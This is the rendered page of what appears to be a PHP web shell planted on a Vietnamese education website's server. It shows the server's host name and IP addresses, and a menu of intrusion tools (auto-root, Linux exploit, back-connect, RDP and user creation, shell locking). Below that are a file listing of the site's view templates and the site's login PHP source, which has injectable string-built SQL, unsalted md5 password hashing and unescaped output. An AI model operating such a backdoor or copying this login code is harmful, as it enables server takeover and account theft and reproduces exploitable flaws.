Linux vps.sdns.vn 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 13 14:19:20 UTC 2023 x86_64
LiteSpeed
: 103.74.117.127 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
7.3.33
pcem
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
pcem /
domains /
pcem.edu.vn /
public_html /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
PHPMailer
[ DIR ]
drwxr-xr-x
view_about.php
12.91
KB
-rw-r--r--
view_article _type.php
0
B
-rw-r--r--
view_article.php
18.81
KB
-rw-r--r--
view_brand.php
394
B
-rw-r--r--
view_call_btn.php
11.57
KB
-rw-r--r--
view_confirm.php
883
B
-rw-r--r--
view_contact.php
13.05
KB
-rw-r--r--
view_criteria.php
437
B
-rw-r--r--
view_customer.php
1.92
KB
-rw-r--r--
view_detail_about.php
2.56
KB
-rw-r--r--
view_detail_article.php
21.69
KB
-rw-r--r--
view_detail_document.php
1.85
KB
-rw-r--r--
view_detail_media.php
2.72
KB
-rw-r--r--
view_detail_product.php
3.27
KB
-rw-r--r--
view_document.php
2.58
KB
-rw-r--r--
view_footer.php
4.07
KB
-rw-r--r--
view_header.php
6.78
KB
-rw-r--r--
view_hits.php
871
B
-rw-r--r--
view_home.php
19.52
KB
-rw-r--r--
view_huongdan.php
699
B
-rw-r--r--
view_index.php
3.73
KB
-rw-r--r--
view_khachhangtaiphat.php
1.99
KB
-rw-r--r--
view_lang.php
2.04
KB
-rw-r--r--
view_login.php
9.89
KB
-rw-r--r--
view_media.php
3.26
KB
-rw-r--r--
view_media_type.php
0
B
-rw-r--r--
view_menu_left.php
212
B
-rw-r--r--
view_menu_top.php
1.93
KB
-rw-r--r--
view_menuhome.php
0
B
-rw-r--r--
view_order_detail.php
3.41
KB
-rw-r--r--
view_partner.php
963
B
-rw-r--r--
view_pay_cart.php
42.97
KB
-rw-r--r--
view_pay_cart_not_isset.php
335
B
-rw-r--r--
view_pay_cart_result.php
1.68
KB
-rw-r--r--
view_product.php
2
KB
-rw-r--r--
view_product_cat.php
2.08
KB
-rw-r--r--
view_product_cat3.php
1.99
KB
-rw-r--r--
view_product_cat4.php
1.99
KB
-rw-r--r--
view_product_new.php
1.99
KB
-rw-r--r--
view_register.php
6.61
KB
-rw-r--r--
view_search.php
18.67
KB
-rw-r--r--
view_shopping_cart.php
1.99
KB
-rw-r--r--
view_showroom.php
1.5
KB
-rw-r--r--
view_slideshow - Copy.php
1.38
KB
-rw-r--r--
view_slideshow.php
565
B
-rw-r--r--
view_support.php
1.54
KB
-rw-r--r--
view_thuvien.php
1.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view_login.php
<?php //session_destroy(); ?> <div class="container wrap"> <div id="content"> <?php if(!isset($_SESSION['username'])) { ?> <div class="login-left" style="margin-right: 195px;"> <?php if($_GET['route'] == 'forgetpass') { ?> <?php //xử lý khi click nút gửi mail if(isset($_POST['btnSendEmail'])) { //xử lý phpmailler để gửi mail //kiểm tra xem mail vừa nhập có tồn tại trong csdl hya không //nếu có thì thông báo thành công, k có thì thông báo thất bại ?><script>alert('Đã gửi mail thành công, hãy kiểm tra hộp thư đến!')</script><?php } } else { ?> <div class="login-content"> <div class="right"> <div class="portlet-column portlet-column-only span12" id="column-1"> <div class="portlet-boundary portlet-boundary_58_ portlet-static portlet-static-end portlet-login " id="p_p_id_58_"> <section class="portlet" id="portlet_58"> <header class="portlet-topper"> <div class="portlet-fulltitle"> <h1 class="portlet-title"> <span class="portlet-title-text" data="Đăng nhập">Đăng nhập</span> </h1> </div> </header> <?php if($error != '') { ?> <div class="error_login"> <?php echo $error; ?> </div> <?php } ?> <div class="portlet-content" id="yui_patched_v3_11_0_1_1629520173399_186"> <div class=" portlet-content-container" style="" id="yui_patched_v3_11_0_1_1629520173399_185"> <div class="portlet-body" id="yui_patched_v3_11_0_1_1629520173399_184"> <form action="login.html" class="form sign-in-form " id="_58_fm" method="post" name="_58_fm" autocomplete="on"> <fieldset class="input-container" id="yui_patched_v3_11_0_1_1629520173399_183"> <fieldset class="fieldset " id="yui_patched_v3_11_0_1_1629520173399_182"> <div class="" id="yui_patched_v3_11_0_1_1629520173399_181"> <div class="control-group input-text-wrapper"> <label class="control-label" for="_58_login"> Tên đăng nhập </label> <input class="field clearable" id="_58_login" name="txtUsername" type="text" " aria-required="true"> </div> <div class="control-group input-text-wrapper error" id="yui_patched_v3_11_0_1_1629520173399_180"> <label class="control-label" for="_58_password"> Mật khẩu </label> <input class="field error-field" id="_58_password" name="txtPassword" type="password" value="" aria-required="true"> <div class="form-validator-stack help-inline" id="yui_patched_v3_11_0_1_1629520173399_196"> </div> </div> </div> </fieldset> <div class="button-holder "> <button class="btn btn-primary" type="submit"> Đăng nhập </button> </div> </fieldset> </form> </div> </div> </div> </section> </div> </div> </div> </div> <?php } ?> </div> <?php } else { ?> <div class="login-right" style="float: right; width: 180px;"> <div class="box"> <div class="box-heading">Tài khoản</div> <div class="box-content"> <ul> <li><a href="login.html?route=account">Tài khoản của tôi</a></li> <li><a href="login.html?route=editaccount">Thông tin tài khoản</a></li> <li><a href="login.html?route=editpass">Mật khẩu</a></li> <li><a href="login.html?route=logout">Đăng xuất</a></li> </ul> </div> </div> </div> <div class="login-left" style="margin-right: 195px;"> <?php //nếu cập nhật thông tin thành công thì hiện thông báo if($_GET['route'] == 'editaccount') { if(isset($_SESSION['notice'])) { ?> <div class="success_login"> <?php echo $_SESSION['notice']; unset($_SESSION['notice']); ?> </div> <?php } } //nếu cập nhật mật khẩu thành công thì hiện thông báo if($_GET['route'] == 'editpass') { if(isset($_SESSION['noticepasssuccess'])) { ?> <div class="success_login"> <?php echo $_SESSION['noticepasssuccess']; unset($_SESSION['noticepasssuccess']); ?> </div> <?php } } ?> <?php //nếu không click gì hoặc click vào tài khoản thì hiển thị giao diện mặc định (tài khoản) if(!isset($_GET['route']) || ($_GET['route'] == 'account')) { ?> <div class="login-content"> <h2 class="tieu-de-h2">Tài khoản của tôi</h2> <div class="contentinfo" style="min-height:60px"> <ul> <li><a href="login.html?route=editaccount">Thay đổi thông tin tài khoản</a></li> <li><a href="login.html?route=editpass">Thay đổi mật khẩu</a></li> </ul> </div> </div> <?php } //ngược lại nếu click vào muốn thay đổi thông tin tài khoản elseif($_GET['route'] == 'editaccount') { $userlogin = $_SESSION['username']; $results = DB::query("SELECT * FROM users WHERE username = '$userlogin'"); ?> <h1 class="tieu-de-h1"><?php echo 'Thông tin tài khoản'; ?></h1> <div class="login-content"> <div class="contentinfo" style="min-height:60px"> <form action="" method="post" enctype="multipart/form-data"> <table class="formtable" style="width:100%; line-height: 35px;"> <tbody> <?php if(count($results) != 0) { foreach($results as $rows) { ?> <tr> <td width="200px"><span style="color: red;">*</span> Họ tên:</td> <td><input value="<?php echo $rows['name']; ?>" type="text" name="txtNameEdit" required></td> </tr> <tr> <td><span style="color: red;">*</span> Địa chỉ E-Mail:</td> <td><input value="<?php echo $rows['email']; ?>" type="text" name="txtEmailEdit" style="background-color:#ddd;" readonly></td> </tr> <tr> <td><span style="color: red;">*</span> Số điện thoại:</td> <td><input value="<?php echo $rows['phone']; ?>" type="text" name="txtPhoneEdit" pattern="[0-9]{10,13}" required></td> </tr> <tr> <td colspan="2"><input name="btnUpdateInfo" type="submit" value="Cập nhật" class="button"></td> </tr> <?php } } //xử lý khi click vào nút cập nhật if(isset($_POST['btnUpdateInfo'])) { $editName = addslashes($_POST['txtNameEdit']); $editEmail = addslashes($_POST['txtEmailEdit']); $editPhone = addslashes($_POST['txtPhoneEdit']); //update table users DB::query("UPDATE users SET name = '$editName', email = '$editEmail', phone = '$editPhone' WHERE username = '$userlogin'"); $_SESSION['notice'] = "Cập nhật thông tin thành công!"; header("Location: login.html?route=editaccount"); } ?> </tbody> </table> </form> </div> </div> <?php } //ngược lại nếu click vào muốn thay đổi mật khẩu elseif($_GET['route'] == 'editpass') { ?> <h1 class="tieu-de-h1"><?php echo 'Thay đổi mật khẩu'; ?></h1> <div class="login-content"> <div class="contentinfo" style="min-height:60px"> <form action="" method="post" enctype="multipart/form-data"> <table class="formtable" style="width:50%; line-height: 35px;"> <tbody> <tr> <td width="200px"><span style="color: red;">*</span> Mật khẩu mới:</td> <td><input type="password" value="<?php if(isset($_POST['txtPassEdit'])) echo $_POST['txtPassEdit']; ?>" name="txtPassEdit" required></td> </tr> <tr> <td><span style="color: red;">*</span> Nhập lại mật khẩu:</td> <td><input type="password" name="txtRePassEdit" required></td> </tr> <?php if(isset($_SESSION['noticepass'])) { ?> <tr> <td></td> <td> <?php echo "<span style='color:red;'>".$_SESSION['noticepass']."</span>"; unset($_SESSION['noticepass']); ?> </td> </tr> <?php } ?> <tr> <td colspan="2"><input name="btnUpdatePass" type="submit" value="Cập nhật" class="button"></td> </tr> <?php //xử lý khi click vào nút cập nhật if(isset($_POST['btnUpdatePass'])) { $editPass = addslashes($_POST['txtPassEdit']); $editRePass = addslashes($_POST['txtRePassEdit']); if($editRePass != $editPass) { $_SESSION['noticepass'] = "Mật khẩu nhập lại không chính xác!"; } else { $md5pass = md5($editPass); $userlogin = $_SESSION['username']; DB::query("UPDATE users SET password = '$md5pass' WHERE username = '$userlogin'"); $_SESSION['noticepasssuccess'] = "Đổi mật khẩu thành công!"; } header("Location: login.html?route=editpass"); } ?> </tbody> </table> </form> </div> </div> <?php } //nếu click đăng xuất thì xóa session elseif($_GET['route'] == 'logout') { session_destroy(); header("Location: login.html"); } ?> </div> <?php } ?> </div> </div>
Close